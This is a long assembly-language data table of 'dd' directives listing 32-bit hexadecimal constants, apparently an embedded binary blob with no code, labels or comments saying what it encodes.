dd 4575B532h, 1148D55Bh, 0CF8431ADh, 0F5B91510h, 0E24C28Ch
dd 0D82E7040h, 7E1366C5h, 22EFC0D0h, 0FB5CD455h, 75475509h
dd 0B4B7D740h, 0A694097Bh, 0F9057C4Fh, 0CCFED03Bh, 449D33F5h
dd 0D651E4D3h, 0FD7B0417h, 0D8CAAA07h, 9CF2E302h, 45D56820h
dd 0E53120Ch, 7E620609h, 6E555B6Eh, 0F13A81D6h, 8612CC6Eh
dd 0A3462400h, 9E541493h, 517C9061h, 8C016895h, 282E0B5Dh
dd 0A6412DD8h, 0DFD9206Bh, 0FD3E3AA3h, 8F608066h, 4DB3FE3Dh
dd 6EF10B21h, 0B9E12867h, 6AEB2AF5h, 0CE984E4Fh, 2747007Eh
dd 95A3F052h, 0A54C382Ch, 32A44A74h, 0F5049D57h, 0B95F010Fh
dd 0B00100Ah, 264B659Dh, 1266C488h, 0AB08F4BBh, 43A5AD0Ch
dd 0F6C04B2Bh, 7B12E01Ah, 4C08029Fh, 0A46C9931h, 0D22B96E0h
dd 9DC0296h, 3EC211A2h, 32101D54h, 5BF9500Bh, 46FEE056h
dd 0AC8C1216h, 0DF277FB8h, 0DC3B74h, 0BF2E61D9h, 0CA07AA76h
dd 0A032BB04h, 0CDAA531Ch, 0E4E33FB3h, 0BF56081h, 6AE47A85h
dd 0BD1A9761h, 0EC401854h, 25F8F12h, 59E83CC7h, 0C75CC2CCh
dd 0D4AD9C5Eh, 0E3E5AB13h, 0D825EAE8h, 0D0707BD3h, 8C7B1EA9h
dd 0E0C5257Dh, 81038011h, 758B11E7h, 2B5FF1FCh, 8FA042F7h
dd 51255D8Dh, 2EC7B0Ch, 60E30D87h, 64C54D75h, 99456019h
dd 4EC602D8h, 0F18A60E2h, 30408C74h, 726264CAh, 0C9840478h
dd 81294D2Bh, 206155Fh, 9EE2DF59h, 281655F4h, 2B1A38AAh
dd 652568BEh, 6F391FACh, 55D2767Bh, 0F6AF06D9h, 0DD53D2F3h
dd 7D4DF470h, 0DE68024Ch, 5A0B5CC4h, 0F3579EEAh, 113870C9h
dd 351DF804h, 65A35BA1h, 3A33CB00h, 0F87FBFEDh, 801F4B3Ch
dd 318F2495h, 388B51DAh, 0F8C5BFEh, 0F937018Ch, 0DAFC2497h
dd 0B73749AFh, 0EE911D5h, 398D8910h, 5705629Dh, 0B852AED3h
dd 1D43CA18h, 26B37452h, 0E27A0EB8h, 0F5710BC9h, 0F09FB2AAh
dd 174B25E4h, 0A3606854h, 44738AEh, 9767F3B1h, 8CAAC690h
dd 0E8B72890h, 32456845h, 523C3FEAh, 0FC43AC5Ch, 0D4F3C830h
dd 690C0039h, 0DC668326h, 0C47598DFh, 0BB7C1F02h, 0E97BA824h
dd 85C9313Eh, 14CA7Eh, 5FC0D932h, 2525C20Eh, 0EF70585Ah
dd 20E9BA00h, 0F337BB17h, 0DA7FE17Bh, 0C115C8B6h, 40E8CBB5h
dd 8D01FD42h, 13672F00h, 766D12AAh, 8041E708h, 0C10424E5h
dd 3FCE859Bh, 0C0C12B9Eh, 7BB7788Dh, 98E94202h, 0BEB9DE01h
dd 8BFC32AFh, 606A6D5Ah, 0F4466F97h, 0FCFE66C4h, 81C0A1B8h
dd 83347CF3h, 858D3D4Bh, 98AAA354h, 3108E7C9h, 2C5829ADh
dd 0E28D125Dh, 89018F0Fh, 554642BDh, 76AF46BDh, 0B54CAE8h
dd 217FF26Eh, 588CBB32h, 44861E24h, 2413BF05h, 34FB71FAh
dd 0E08EF67Ah, 921CF85h, 1EF6ADE3h, 1031D002h, 0FE18BF00h
dd 8D354B8Ah, 0C1C92B36h, 70F9A07Eh, 9659423Fh, 0B700487Dh
dd 0DEF68166h, 5F610F2Fh, 0F48BD03h, 0C596800h, 498B31EEh
dd 0A63F71D8h, 0F6CFF13Ch, 0F812E331h, 5DEA323h, 29DD2A6Dh
dd 2BCCBAFDh, 0ED9D1289h, 0BC8FB901h, 78BF8C14h, 27F12096h
dd 0C0A39048h, 61CB1B49h, 9CAEA028h, 9B18124Eh, 2B6FC89Eh
dd 36E8B300h, 9A0FDEB5h, 739F0A6Ch, 8AF45F27h, 2DF2CFB7h
dd 1EEA1408h, 0F8C9BB90h, 5B611A99h, 8991C095h, 5A38A66h
dd 6DBB2177h, 0C7D50085h, 95314702h, 0E90E195Bh, 2F01C429h
dd 70F447B8h, 2C195B0h, 25036080h, 0C95D01B5h, 2C2ECE65h
dd 89895050h, 0AB25B9F5h, 0AAD4C46Fh, 0DE00E67Ah, 0DC99C157h
dd 1A583EF8h, 0F9DB273Eh, 0AE240025h, 72BC90BBh, 0A108DA0Bh
dd 81679830h, 782F3458h, 5F4BA492h, 7D385B9Dh, 6F729B80h
dd 97F949ABh, 10E34E14h, 292802BBh, 66E3349Ah, 5B9E2573h
dd 0ADCE7549h, 0FC64462Fh, 7C0055CDh, 9D2B9A72h, 0FC095B15h
dd 0A6B4A43Ch, 0EE3A718Eh, 0C1A20F77h, 6224A13Eh, 0AD4C844Ah
dd 0D9BF8458h, 0DAD755B9h, 162D80C9h, 35A6F5h, 0ADDAD97Ch
dd 68E0F47h, 0DF6D628Ah, 89489AAh, 96002831h, 38BE6660h
dd 61D9EBBBh, 0F60102ADh, 0F0967A84h, 682B7DE5h, 0C62F9F54h
dd 0A9878054h, 83A972Ah, 3BADB63h, 910537D7h, 5CAA8914h
dd 0C82C21Eh, 0C2FC7629h, 5929659Dh, 5378AD15h, 80527F04h
dd 0CBB6FFD3h, 9FE0067Eh, 1A18B64Bh, 615625BDh, 7ACC8404h
dd 80250CB9h, 0FE0056E4h, 0F847F917h, 74B843h, 300698C1h
dd 0BB5192FAh, 5EE0A607h, 89145B39h, 8380C2AAh, 0D525576Ch
dd 2610CE2Eh, 616F870Fh, 7C52FBBFh, 404D80FFh, 4B1F8D71h
dd 60028D5Fh, 106E759Ch, 44E5CBF9h, 0A9109597h, 0FE4A7348h
dd 0A4D4DCEBh, 10033713h, 26AD6BFFh, 65C1ED16h, 3795705h
dd 20339C4h, 0EAA6B350h, 0DC895410h, 4313782Eh, 827F30Ch
dd 5BB65242h, 44CE724Ch, 21D710E0h, 204519Bh, 0E0FE9849h
dd 0BCD20CB8h, 0C71C25EFh, 0B9411706h, 5825EC4Bh, 8D1A5FEDh
dd 99C1FD2Dh, 3A841502h, 8F28453h, 0E7B29200h, 0AF37A02Dh
dd 617F7E02h, 90048C94h, 259D3371h, 705B3119h, 0E525B4A0h
dd 0DE465608h, 0EC5F1B46h, 2CBC4DAh, 1AACB3ADh, 1E861D8Ch
dd 0FB0C04ADh, 0B036C7F7h, 3DC8815Ah, 14C0E13h, 0CBE83D13h
dd 35C58A4Ah, 9BFF4A54h, 496FC0F2h, 97A4203h, 0ECFC79DDh
dd 24A8E359h, 0C64B14F2h, 66E881ADh, 0BF1C9B01h, 70E61311h
dd 0B268E77Fh, 322D901Ch, 0C9870031h, 0A821F2A4h, 4E4FE92Ch
dd 0C25BEDFCh, 23040B0Ah, 0F0B9E5AEh, 5BB657C1h, 48A3B540h
dd 0DAE6070Bh, 201F55A4h, 0D2643A98h, 0F30FAD03h, 6BA5F65h
dd 81F00E2Ch, 30ED3BEAh, 629F147Dh, 0FF29D29Dh, 105A60E6h
dd 6EEE4832h, 0E76D655Eh, 5805404Fh, 1AC22B33h, 0CBC048F0h
dd 5A4D380Bh, 2857F508h, 3C500302h, 3A81D003h, 192D45B3h
dd 2D912784h, 0E96BA109h, 8752FFD9h, 39E1FDC8h, 40030007h
dd 814FD23Ch, 171D7D9Ch, 9912589Fh, 0F8D38310h, 0C1C5B61h
dd 209FD103h, 0B64DB769h, 85201208h, 8F64292Fh, 0C48385EEh
dd 85EDF804h, 0EB018B51h, 0B0A98110h, 9B51446h, 0C3C03359h
dd 1EDD7402h, 24453A66h, 8420EA2Ah, 11D26847h, 0E5D49AA7h
dd 308301Ah, 1C179982h, 548DD3EBh, 0F64BD5C9h, 0AA59F0C5h
dd 0BC6D2650h, 6FF12769h, 26558D04h, 92AB0913h, 67487B0Bh
dd 40826170h, 94266DB2h, 4811EEE1h, 34A54B85h, 9E281530h
dd 3B4DBC94h, 5F090B28h, 0DAFBACC6h, 80B3D9F0h, 0F4EBC08Bh
dd 65008E77h, 4A91ED4Fh, 0EF9864h, 0D87396E3h, 0A68AC9B8h
dd 31764200h, 0DCBEAE6h, 0D99B00A9h, 23775DD5h, 2200DEB8h
dd 18C054C9h, 0EE6F3Fh, 438F7439h, 63620519h, 2EB38200h
dd 0ED734108h, 0FCFEC5h, 0B28B3CC4h, 0BA4320A0h, 154C2B00h
dd 0A23D19B4h, 320E1CAAh
dd 0A7790068h, 3E4576EEh, 0CC7B8F02h, 60BE335Eh, 4E4C7Fh
dd 9CDFA3D1h, 7EFB1863h, 3F596F07h, 0C7E06A9Dh, 6C5C5Dh
dd 99AFCF55h, 36D8A777h, 0E75F0709h, 1F1FE44h, 5A9BB2CCh
dd 40CBC4C9h, 9A888B28h, 1B6BE3Ah, 63D7AF2Fh, 8DD48541h
dd 52BD1E04h, 0B2EFCF05h, 20C9C400h, 40C05D60h, 8C967A88h
dd 0B5E31DD7h, 8DDB4CEDh, 21C77708h, 97B09EA1h, 4B24A9h
dd 0A5BE5213h, 4E0E3F36h, 20628D03h, 3C210CEh, 995AE230h
dd 0A1008BB1h, 210AB2A8h, 33ED9E01h, 920909CDh, 0AAC82109h
dd 493800Ah, 0A79021h, 1F0276EBh, 0BD89F11h, 0C0895E67h
dd 21BE8DC0h, 9E060D4Ch, 8318CC43h, 0AF0D5448h, 59E006E0h
dd 208B627Ch, 0AB355214h, 8E5C080Ch, 0DD20283h, 8890C157h
dd 0EF301DC8h, 9E510D7h, 637C0EB4h, 72B5EA7h, 0F575805Dh
dd 0D12A58h, 0DD6F8106h, 78558C18h, 0F15270Fh, 314AA0F4h
dd 7AAF2F0h, 0E20966Ah, 0AD85C0A3h, 55007DC0h, 0F3634DC6h
dd 0E886F8Eh, 3D17F76Bh, 0F9CD3AE0h, 0CB007E5Ch, 3E933C60h
dd 7E78FC6h, 0FF192B79h, 0A7A650F8h, 0D03DFC53h, 7F280E9h
dd 0C4A8F7D7h, 17420029h, 35B06070h, 3102C768h, 0E41E9E67h
dd 0EC15604Eh, 0E1B0040h, 30FDA5C8h, 0BE3F6DC9h, 2E6B00B9h
dd 76D9BB8Fh, 8F60095h, 0EB43BAFBh, 0B54C8DB7h, 0EF7E07B3h
dd 6FA0D9AEh, 7D4C07Fh, 4AA5821Bh, 3F7340F0h, 0B2000320h
dd 0D0A642A4h, 0F1BBBA64h, 4B334183h, 0DBC039FAh, 0EDFC37B4h
dd 8800C475h, 18CD36EBh, 3C5C16E5h, 587D543Dh, 0F0770C1Ah
dd 4010C152h, 4030A272h, 9B336AB9h, 1D188860h, 7E4D70C5h
dd 746203Bh, 4F8A0C00h, 0B7EACDECh, 0B97202h, 71A39470h
dd 0AE4A0407h, 80A0C060h, 7836899Ah, 490900F0h, 8575337Ah
dd 720EB197h, 805886C4h, 383DFCB4h, 602C60FAh, 0F9B6EBE1h
dd 0C7634200h, 256F4179h, 1FDD7CC9h, 23DE991h, 212E44A2h
dd 405C8840h, 0C9CB422Eh, 0D9003C1Fh, 59AA4A23h, 0F1C21822h
dd 54B3206Ah, 290F3CF2h, 0F13F60Ch, 28325E09h, 0F395C3C7h
dd 28C65Dh, 0AC8C9479h, 58EF80E0h, 7109D866h, 0E2997F21h
dd 3FE6031Ah, 0F9110BFEh, 4823E9E0h, 0C16050C1h, 78836615h
dd 0D25A5425h, 100072DBh, 31451444h, 42B8Ch, 0A39A096Dh
dd 0F8BFCD88h, 54667400h, 0E31B3711h, 0F67257h, 3C6D83D4h
dd 0F10118ABh, 80890701h, 3614B52Dh, 0C706E4h, 92FFD505h
dd 94693C77h, 760034B8h, 6B449354h, 4A0A28h, 225D9E0Dh
dd 0F704C3C4h, 0D5005875h, 6D234944h, 0B08B60CAh, 0BA5D3F38h
dd 802C9E80h, 0B21E3506h, 11C3A1Fh, 0A3DE5740h, 65EF02h
dd 927BBB78h, 0F07AE193h, 30A53901h, 0DA2D0BFAh, 0FB45C0D3h
dd 0E9CFC5Ch, 49154753h, 0C70837ECh, 441921C0h, 0F3877Ah
dd 0B44E54A1h, 5BF820F1h, 49600E00h, 0C43EBB52h, 0DC31C0D4h
dd 0B36B9899h, 6BAF12Eh, 61DB28B0h, 5FCA0040h, 0D82C481Ah
dd 5C00E5FAh, 5C2470Ah, 4C35F463h, 0B400BC45h, 34EDF9FDh
dd 0B7033FD0h, 0FBD833B1h, 77DA068Ah, 20CB65ACh, 3274514h
dd 206229D1h, 0C018A4C7h, 0B29A396Ch, 0DBB0F760h, 0F80A121Ah
dd 690D068Dh, 8F575D6h, 37219FE1h, 0F68F80F8h, 6298C521h
dd 2006F8E3h, 0FA003AD2h, 5899A619h, 0E2F6C1C0h, 88966B8h
dd 9EF4214Dh, 0CE7D9971h, 8CD0C600h, 0C0BE4191h, 0A1F29C8h
dd 785837A4h, 5C99A2C0h, 22A146C0h, 9AE250h, 59F98D99h
dd 4A225BDAh, 3E5186FCh, 1DBDD4B0h, 0A1476A1Fh, 2576CE05h
dd 60FAC403h, 39080053h, 5FE738C4h, 0D50772AFh, 0D724BFDAh
dd 29181DAEh, 28BE5A98h, 0AE86E54h, 36575639h, 0E06B98Ch
dd 10F6D12Ch, 4FA3112h, 7A592C60h, 6F5323A1h, 1801C411h
dd 0BAB87A41h, 56E4DC48h, 89283498h, 2D28DCBFh, 0F40014D2h
dd 839844A4h, 3D6E8C3h, 47CD54B2h, 0E8003CE2h, 0F646AF5Ch
dd 612D3BFAh, 0CC8739D1h, 94462021h, 3F201E12h, 0AC0CF71Ch
dd 4D801h, 4485B489h, 0CDA534EFh, 81428F20h, 78134890h
dd 0F8ADA7D8h, 0A4725A06h, 0EAA0E871h, 0D9CB0C9Dh, 3071CF2Ch
dd 1C2FAD04h, 0F7C00ED7h, 0F6748B81h, 34A61452h, 0D800A071h
dd 0B5089AC8h, 38C0DC5Bh, 317AAEFBh, 7534029Eh, 4C585772h
dd 6A05B0AFh, 32F7C0E9h, 63015BAFh, 0BD94B35h, 7D3C4B5h
dd 43DAB340h, 65B1CC61h, 0EB7FD00h, 35161ECCh, 895E7C4h
dd 8E03CC5Dh, 31E0B705h, 2DC363F0h, 0C1CB6Bh, 0EC1057C8h
dd 0D777014Fh, 0D25F2199h, 0F906CC14h, 89A3CD0Ch, 231A8A7h
dd 0B40B3AE1h, 4484DAF0h, 0B7036045h, 0ECC2310h, 84006211h
dd 9996B70Bh, 4A0787EAh, 0C2E3273Fh, 0C00E5405h, 288E8249h
dd 0B99C8077h, 1AD2D8BDh, 0B127C83Eh, 60083884h, 239D7A5Dh
dd 0C2114F53h, 7A001C39h, 0F413DADh, 0F6E96119h, 0E237ACA7h
dd 0C7C30872h, 5156510Ah, 5A81C409h, 25FBC840h, 99D29882h
dd 84605274h, 5F342CD8h, 0AC8B91F5h, 14C0C6C8h, 6E5605Bh
dd 0B8BE53A5h, 423EF069h, 70CF74E0h, 4439603Ch, 182030DCh
dd 1810A3D0h, 0F8097650h, 9DF6AEDFh, 80531148h, 6391B23Ah
dd 0D41B0397h, 68F0B9EBh, 166E8019h, 581807D0h, 53A07A08h
dd 40D07367h, 800F17Ah, 51AF3C88h, 9806B4FDh, 79716C3Ch
dd 48C0CA8h, 0C042999Ch, 83F86791h, 0D79994F8h, 39347DE0h
dd 0CE4B3B05h, 28483271h, 99A0C008h, 0B146C05Eh, 0F4005122h
dd 7C199998h, 1A4CA57h, 50D4BDB8h, 2020A62Ch, 0DC4018ACh
dd 8BCD189Fh, 16B83937h, 0DE325803h, 125003BFh, 85B3E90h
dd 0DC81FF48h, 0B4447881h, 0F225827h, 7E753503h, 7C50D187h
dd 0F8794879h, 18C03F22h, 60F7250Ch, 0AC22F1D5h, 1014723h
dd 0FECC12B7h, 98A180Eh, 1237520h, 3FA6144Dh, 804C6044h
dd 7210E341h, 71C76BF9h, 21872456h, 8784530h, 9DC00BA8h
dd 46C04399h, 4C2289h, 5A9995F9h, 4662039h, 18903300h
dd 4852ED46h, 0D01C4CF6h, 0CC81B449h, 9F213A57h, 0D343FB18h
dd 147B25Fh, 0F5B7510h, 32DCCC2Bh, 0DB221394h, 5E23743Eh
dd 0C3718700h, 24D8C070h, 59C2AC7h, 6161235Bh, 0A634D2BCh
dd 0B30166D1h, 13D78F5h, 4C486720h, 6822742Ah, 8E584C0Dh
dd 2089B049h, 1C060A4Eh, 0CCF821FCh, 5860F8A8h, 0B6B75400h
dd 0F2110957h, 0D77348D0h, 85812A0Eh, 24075149h, 3411984Dh
dd 0A4250902h, 34C0F279h, 50985AA6h, 71CDAD0Ch, 48C2A905h
dd 0F106280Dh, 40169E52h, 0FC8C144Ch, 0C2008CC5h, 0FB9FF2Ah
dd 0C10BED0Eh, 0BAC4D969h, 0E079E86Fh, 85AC8F0Bh, 0B38024C3h
dd 0B990C8h, 0A7809F3Ah, 254E178Ah, 28CEC502h, 4746B197h
dd 6060E464h, 570D96h, 0BF292A9h, 0B44BD1C9h, 2379076Fh
dd 58633CAEh, 0CC1AFCC9h, 0EC40A1A8h, 53B087C2h, 80DDA53Eh
dd 0EAB316D6h, 580546DAh, 24126ED0h, 0BC500037h, 34E8E1CCh
dd 41F9FD00h, 71D9BED7h, 0E85B4848h, 9C162200h, 0D5743BD2h
dd 0CB81CA07h, 0B801F795h, 0EBCB8EA4h, 0D04006E4h, 5832914Fh
dd 0CB7E2F13h, 0EA6AA800h, 31C48F02h, 0CCA0F0F8h, 201BFD3Fh
dd 0D0EE2524h, 521889FDh, 0D67C059Bh, 0C780AC9Fh, 7E76C2D4h
dd 0B6FBF800h, 0BBCE23AAh, 67D1098Bh, 0B82FFF6Eh, 200E7600h
dd 0D948FD04h, 0C00AC820h, 53A37A5Fh, 1A000EE9h, 0DA877A47h
dd 324CC30Fh, 983722D0h, 18C20E8h, 54D19E2Ch, 4C514674h
dd 74F000BCh, 3FD36D23h
dd 0C0A0E54Eh, 7880B3D6h, 0CE289DA1h, 3F19A40Dh, 0ED505166h
dd 7F003C62h, 0DAE41CBEh, 37A8DCFh, 59272900h, 28573EABh
dd 620D0565h, 8E05C266h, 0C0C18894h, 24506BFBh, 0AE9DCA0Eh
dd 0A0D0923Eh, 0FD3C7654h, 60613C20h, 6AFDD95Ah, 0CB00FEA9h
dd 0ACD4AAE7h, 0F41B8Fh, 0D943B5D1h, 215AF39Fh, 28699400h
dd 0BE59A610h, 45F4AFCh, 0B7D3B8DCh, 61D209Ch, 4BB1BB51h
dd 0D09068D7h, 7734AE20h, 63721E89h, 8A4602ECh, 0E05B115Ch
dd 20435E90h, 676811C4h, 38E65F91h, 0B4C26C02h, 0F81C451h
dd 0E58DFD0Ah, 30880318h, 200A0007h, 53E4A113h, 6460889Eh
dd 3FD2D9E0h, 6C1749A2h, 0E0066939h, 0E0A41F80h, 63AF0703h
dd 90A23BCAh, 9E50EFh, 0B0E4480Eh, 0BAFD4E16h, 0DE640A00h
dd 392ADAB9h, 2CEB4C70h, 41E01187h, 50547695h, 0EEAD0ACCh
dd 0CB865101h, 606CA69Dh, 0C8BC8881h, 215D7C2Dh, 0E0C0F978h
dd 0A49625ABh, 8618C9Dh, 90A60258h, 80DFC309h, 764F9520h
dd 0AC8000DCh, 484609F6h, 50922BEAh, 0F6E30644h, 0EC762850h
dd 57D00914h, 3C872C6Eh, 53D9514Ah, 0D2788108h, 0E3C93EBAh
dd 8C1CD1A1h, 1B19E92Dh, 59C04A60h, 64495F3Eh, 20C1980Bh
dd 9894869Dh, 0BAF10DC0h, 0A21CF09h, 80DB885Ch, 4AAED204h
dd 8FEC9B06h, 0EA4DEC02h, 484460BAh, 13158574h, 452E7Ah
dd 9E476424h, 0C032AF8h, 2C417E52h, 0EAB100F1h, 5A5EC3C4h
dd 0D20E29EDh, 820949AAh, 0E4B24498h, 0CC2C4878h, 0FFD4A680h
dd 0FB1E9CCAh, 0F800CE3Eh, 0F702476Eh, 159E0681h, 78054232h
dd 98C27F44h, 0E5C028Dh, 35B5939Ch, 0E2BEA082h, 7AD0BC20h
dd 6398A039h, 6F2A0026h, 57E2C42h, 2800F4B4h, 0BAB38B4Eh
dd 0B04DD70Eh, 79A864D4h, 487EC450h, 0F2855D24h, 9C00BACBh
dd 4FD1818Fh, 372E2469h, 1467698h, 0C0C2EA07h, 1C6269D0h
dd 0C579D459h, 77245618h, 4308680Ch, 769602F0h, 8434D34h
dd 5079AA8Bh, 0AFDFC927h, 0CCE13F8h, 0A3C0C1C8h, 4D7BABh
dd 6D87B9E6h, 35BE6847h, 0C48D8CA0h, 64EAD426h, 1A57D203h
dd 0FB183E1Fh, 10C2083Ch, 4735062h, 6D4EA8AEh, 864C8139h
dd 798F004Fh, 2EA73D33h, 0E56B9A80h, 0D93CAC14h, 27014C1Eh
dd 327CEEF0h, 0BAEC07ABh, 0B08DE9C2h, 0DEC5B30Ah, 0D600EF77h
dd 0A97E026Eh, 70C1F9E0h, 82F603F2h, 31B92905h, 912EE3F8h
dd 85000974h, 0E99E780Eh, 7DF650h, 0F81CA555h, 0AE042D5h
dd 31528200h, 0F2B17D0h, 0CE982Ah, 0FC89F71Dh, 42A853E5h
dd 0B71CA201h, 587EC5E7h, 0AE6CE80h, 5E63CEBAh, 0BD007375h
dd 3F994492h, 2630CC9Ch, 973140h, 0BA21F29Bh, 0E8196DABh
dd 450883B2h, 7762197h, 205685B2h, 668771C8h, 95E92800h
dd 334E18CBh, 0E7293A8Eh, 94043066h, 806D9A01h, 70654D63h
dd 21DC0898h, 0FC008126h, 0BD1FF80Eh, 0EF6FACh, 36CD5BCEh
dd 0B7F34CE8h, 0E4338C1Ch, 65F7C580h, 0C4F2750h, 6822EF67h
dd 46754028h, 0A03F9A36h, 28046D0h, 0BA1DF297h, 1044318Bh
dd 0FF28E72h, 0EDF865Dh, 18541A66h, 2E113300h, 53E7AFD2h
dd 9D9F3C6Ah, 3AA02104h, 84DF806Fh, 9526B12Fh, 531A0CC4h
dd 3573C198h, 31A6B181h, 803D1B15h, 0A7986051h, 0C84C68Bh
dd 8CBF3708h, 21C05108h, 39A7807Fh, 30A50015h, 0B3BDB32h
dd 0C100431Ah, 9F90056Fh, 3A18114h, 491316FAh, 0CAF07F60h
dd 890302EBh, 14549B97h, 6D510047h, 16889604h, 220A66BAh
dd 0BCD42959h, 541F6580h, 0B96E97h, 0BC363AA6h, 301D3F8h
dd 6F00877Ch, 0F39B9924h, 506D8C32h, 8C82ACC2h, 1FF29504h
dd 49629BBAh, 0F28C7020h, 9F9200D7h, 9339E521h, 2F2481CAh
dd 8B0F1841h, 5AB9E5C4h, 6BECE840h, 60937930h, 47B82062h
dd 8418E4ABh, 40D04D27h, 0F0230E51h, 57C1C898h, 9828B044h
dd 8E215E08h, 0A9F0001Bh, 0A24DA826h, 2F112CCAh, 6A074E27h
dd 0B0A5B059h, 7BBE9530h, 4910FA76h, 313AD0CDh, 38C135B0h
dd 6000C117h, 0A5B276BDh, 0C143283Bh, 0E1C31349h, 4C73DC8Dh
dd 7634F107h, 78B0F5D3h, 66DC0Ch, 950EB84Ah, 41266B64h
dd 591C6934h, 4423A43Ah, 0BBF61200h, 0EAC76F0Bh, 127C9047h
dd 3AE573C5h, 492378h, 7186414h, 701F5BAAh, 840F391h, 48FBE793h
dd 88E854C9h, 0A9E9024Ah, 42F367ABh, 6080C884h, 2394F01Fh
dd 581120C8h, 0F017720Eh, 64D2F280h, 0CD3735DAh, 96F0893Fh
dd 8A5641h, 0DE133DB6h, 0B399F8C5h, 2FC17605h, 9C04C470h
dd 9F223F80h, 8F29A30h, 6CB3BA22h, 1D917558h, 418064F2h
dd 0AABF71D9h, 0CC080587h, 0A796C01Bh, 0B443C68Dh, 0A7FA0093h
dd 5DD6BC30h, 19C03CF2h, 2CBFF649h, 59CB091Fh, 5C004A23h
dd 0E750F992h, 0C4AF3001h, 27790881h, 0FECABEF0h, 431D0026h
dd 0CDB038F9h, 0B618F733h, 65986AB2h, 1BA50106h, 3EB603Eh
dd 30ABEC08h, 0BABC870Ah, 0E03DDBBEh, 0F071C440h, 5858CD7Dh
dd 2D408728h, 0A5216FECh, 70481931h, 8FA70894h, 5CC4A4C6h
dd 0A79C8340h, 0CC7AA340h, 0E497A00h, 0CA8E34C9h, 288D52B6h
dd 0EE3055E2h, 0D3950087h, 0C3A43651h, 0A326DABAh, 0C80268F5h
dd 48491B69h, 25FCF4h, 3B407DE8h, 4C821ADEh, 98D848C0h
dd 6A47F5h, 0FFD6A723h, 8E6418CDh, 80C75F3Eh, 893BD21Fh
dd 0AC591h, 7ED0FB1Bh, 337C8DABh, 8234300h, 98B2DBC6h
dd 3BDA006Fh, 4D541DFAh, 3E01CF8Dh, 1A909AB5h, 27FC0856h
dd 0BF130FBAh, 6060C9F2h, 0F45F6C8Eh, 0DFFD2500h, 6AA5C595h
dd 480101E4h, 0B7E73CEFh, 263EF48Bh, 0C00DDFCh, 9A8DC1ECh
dd 3FD578h, 0AD5AC6FEh, 0E6D65346h, 7EB2881Fh, 8FE10140h
dd 0C4D80DBh, 55E9C0EBh, 9267780h, 1C07E4A4h, 0E803D6C2h
dd 0E899BBC5h, 0FAD7FDCh, 90BFE28Fh, 18585B2Ch, 1D80FB04h
dd 82811E5Fh, 0BC24A478h, 0B4A6034Ch, 0FF736E92h, 2A366100h
dd 46D69D5Ch, 3A85181Dh, 42953982h, 81D05089h, 0FA271D4Bh
dd 99D8401Ah, 9D28721Eh, 0DC449102h, 9CB4F9BCh, 0CFEC0E9Ch
dd 6C406292h, 0D35254Ch, 0A05BEF00h, 6B4BD23Eh, 83270054h
dd 22236889h, 13007A03h, 0B185A487h, 0FD2EC7h, 0AB7537C0h
dd 0FB05E86Ah, 80A23239h, 0B0C96BF0h, 0E8A6F821h, 1C8C0045h
dd 2517DCD7h, 0E500B4C3h, 8DDE3796h, 0E7E0C5h, 2BC79DC9h
dd 0DD4ADA0Bh, 17044E00h, 5D8357A2h, 7ED500FFh, 0A6215C8Eh
dd 3D05D224h, 0C69E5096h, 3FACAC03h, 9AEED81Dh, 52700064h
dd 84B3E12Eh, 6F1D3E6Bh, 5AC015FDh, 35D0EC9Bh, 136E0057h
dd 0EDA50A78h, 0DE7E8295h, 5E06E61Dh, 57039301h, 0D4E02EFBh
dd 0ABC9009Ch, 0E0FD5377h, 84006BFEh, 0CFB04815h, 1FC462Bh
dd 2220E9Dh, 6170085Ch, 4B8024DEh, 1DCCFE00h, 0EC8F5F58h
dd 9B801E0Eh, 0E20078E1h, 0D4B11673h, 32031144h, 0E7C52B43h
dd 8E6D8FCh, 7A4A00C3h, 0FFBE6C9Ch, 5E060447h, 994CDA98h
dd 9E1000C6h, 742FBD84h, 0F600D7F7h, 1EF28265h, 3093ADEh
dd 4E830E70h, 8FD07C2Fh, 2C4C6661h, 86BB3DB4h, 15D8E320h
dd 42EE00A0h, 0A91DA008h, 0C50F4986h, 2BB5AACh, 80E124D8h
dd 0C4B72DB0h, 3D72E25Bh, 0F906ECh, 0BB50AB88h, 35658758h
dd 7A676824h, 1A280A00h, 1ECB9BE3h, 40EB7AB3h, 11D4E449h
dd 2102CEFEh, 0BF0F2D4Dh, 0D29F41CAh, 75E07FCh, 0B7E505D8h
dd 528EB17Dh, 37DFECF7h, 23EE9900h, 0B97B3AEBh, 0FB900013h
dd 7C42FAD3h
dd 0F1331DEDh, 0CD07F004h, 0F5192490h, 0EFF9004Bh, 0B0980DAEh
dd 3900B89Ah, 8F05C9Eh, 0CFFE25h, 0D616E01Ah, 8351FD4Fh
dd 0F100DC77h, 0C54A201Dh, 7BAFE386h, 0A7B71E8Ah, 0CC148F8Bh
dd 0D1E5A080h, 871D71A5h, 7CFD28h, 547DD2F7h, 807F12h
dd 30034FF5h, 26AD529Eh, 0B6E00200h, 2B7DDC8Eh, 822000CAh
dd 0DEED75B0h, 0DA008DA8h, 730BE87Fh, 3E6192h, 1B582259h
dd 5AF0B393h, 8CBE3700h, 0E98F4151h, 53C40028h, 11643F4Dh
dd 9500C265h, 542600Ch, 1C33DD01h, 80B0C0ABh, 0F12A591Bh
dd 0A200F555h, 416A377Eh, 3BACC19h, 3942F82Bh, 513C5B9Ch
dd 7826A4EDh, 83FC961Eh, 0ECAF8F1Fh, 0C486E083h, 760A0467h
dd 0C0E540E2h, 4453AA3Ch, 1A4CE100h, 0E063472Eh, 0CFED005Ah
dd 7E93B5A5h, 24034415h, 0C2EBB6FEh, 8D41E012h, 40040E6Ah
dd 0C3202C95h, 0A3F873DFh, 0CA327103h, 82F9734h, 0E4729068h
dd 4B535400h, 0EE25A0ECh, 0CAF289h, 0EC429EBh, 0DD8F16B4h
dd 851FA00h, 13C8E317h, 284A4861h, 49D80501h, 3424829Fh
dd 9800267Ch, 0A50EF854h, 4FF8B09h, 3AA893CFh, 0D6D0D0D4h
dd 0F217D06Ah, 0AA157398h, 0A8D701E4h, 1D308B5Eh, 0CD57F8h
dd 9DA726C0h, 0E1A9CBF6h, 0B4E81C98h, 6F309600h, 7B7E741Eh
dd 765B0062h, 0D710C9ADh, 0F6F8A80Dh, 87FD80A0h, 0B0288E3Bh
dd 78410F1h, 0A67C0F50h, 71E0C066h, 4D4C8306h, 1EF09A39h
dd 0D8C3074h, 395931D9h, 3B802BE8h, 0C7E5CD6Dh, 1B0E05F6h
dd 604150D0h, 9E5F79A0h, 0E157008Ah, 953EAC12h, 870047D7h
dd 5B164B19h, 14A6975h, 0EA0FF388h, 0E851170Ah, 0EC005245h
dd 104EA8F8h, 1121A8Ch, 0E55EDAAEh, 0D479D6F3h, 0D8004693h
